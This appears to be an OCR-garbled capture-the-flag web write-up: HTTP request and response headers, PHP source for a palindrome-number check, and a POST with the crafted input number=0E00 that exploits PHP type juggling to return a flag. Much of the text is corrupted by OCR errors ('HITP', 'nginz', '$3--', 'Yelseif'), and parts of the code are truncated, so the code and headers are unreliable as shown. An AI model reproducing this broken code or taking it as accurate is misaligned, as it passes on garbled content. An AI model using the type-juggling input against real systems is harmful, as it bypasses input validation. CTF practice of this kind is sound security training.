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GET /weh/PHP/index. php HITP/1.1 A HTTP/1.1 200 CK

Host: ctfd. shivanbar. con " Server: nginz/1.10.2

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; rv:67.0) Gecko/20100101 Date: Wed, 10 Jul 2019 09:38:11 GHT
Firefox/67.0 Content—Type: text/html

Accept: text/html, application/zhtml+znl, application/znl;q=0.9, */#;q=0.8 Comnection: keep—alive
Accept—Language: zh-CN, zh;g=0. 8, zh-TW;g=0. 7, zh-HE ; q=0. 5, en-U3; g=0. 3, en; g=0. 2 ¥—Powered-Bv: PHP/5.5.38
Accept—Encoding: gzip. deflate [ hint: Gcb25af4059b4feTdic33a. txtl
Connection: keep—alive Content—Length: 12

Cookie: sample-hash=571580b26cA5f306376d4f64e53ch5eT; source=0

Upgrade-Insecure-Requests: 1 have a fun!!

Cache-Control: max-age=0

V7 1945 25

$req = [];
$Flag="XXXXXXXXXX" ;

ini_set("display_error", false);
error_reporting(0);
if(!isset($_POST[ "‘number'])){

header("hint:6c525af4059b4fe7d8c33a.txt");

die("have a fun!!");

foreach([$_POST] as $global var) {
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foreach($global var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);

function is_palindrome_number ($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$3--;
}

return true;

if(is_numeric($_REQUEST[ "'number'])){
$info="sorry, you cann't input a number!";
}Yelseif($req[ 'number']!=strval(intval($req[ 'number']))){

"number must be equal to it's integer!! ";
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}else{

$valuel = intval($req["number"]);
$value2 = intval(strrev($req["number"]));

if($valuel!=$value2){
$info="no, this is not a palindrome number!";
}else{

if(is_palindrome_number($req["number"])){

$info = "nice! {$valuel} is a palindrome number!"
}telse{

$info=$flag;
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"Asia/shanghai');

trval(intval(eE1e));
o1

"flase’;
"true';
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POST /web/PHP/index. php HTTP/1.1
Host: ctf5. shivanbar. com

|User—4gent: Mozilla/5.0 (Windows NT 10.0; WinG4; x=64; 1v:67.0) Gecko/20100101

|Firefox/67.0
Content—Type: application/z—vwww—form—urlencoded

Aecept: text/html, applicatien/zhtml+znl. application/zml;q=0. 5, */* ¢=0. 8
Aecept—Language: zh-CH, zh; g=0. 8, zh—TW; q=0. 7, zh-HEK ; g=0. 5, en-US; g=0. 3, en; g=0. 2

Apcept—Encoding: gzip, deflate
IConnection: keep—alive
|Upgrade-Insecure-Requests: 1
Cache—Control: max—age=0
Content-Length: 15

number=0E00
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HITP/1.1 200 OK

Server: nginz/1.10.2

Date: Wed, 10 Jul 2019 09:33:27 GMT
Content-Type: text/html

Comnection: lkeep—alive
X-Powered-By: PHF/5.5.38
Content-Length: 26

FLAG {2dd8711082fe24c19ae8}
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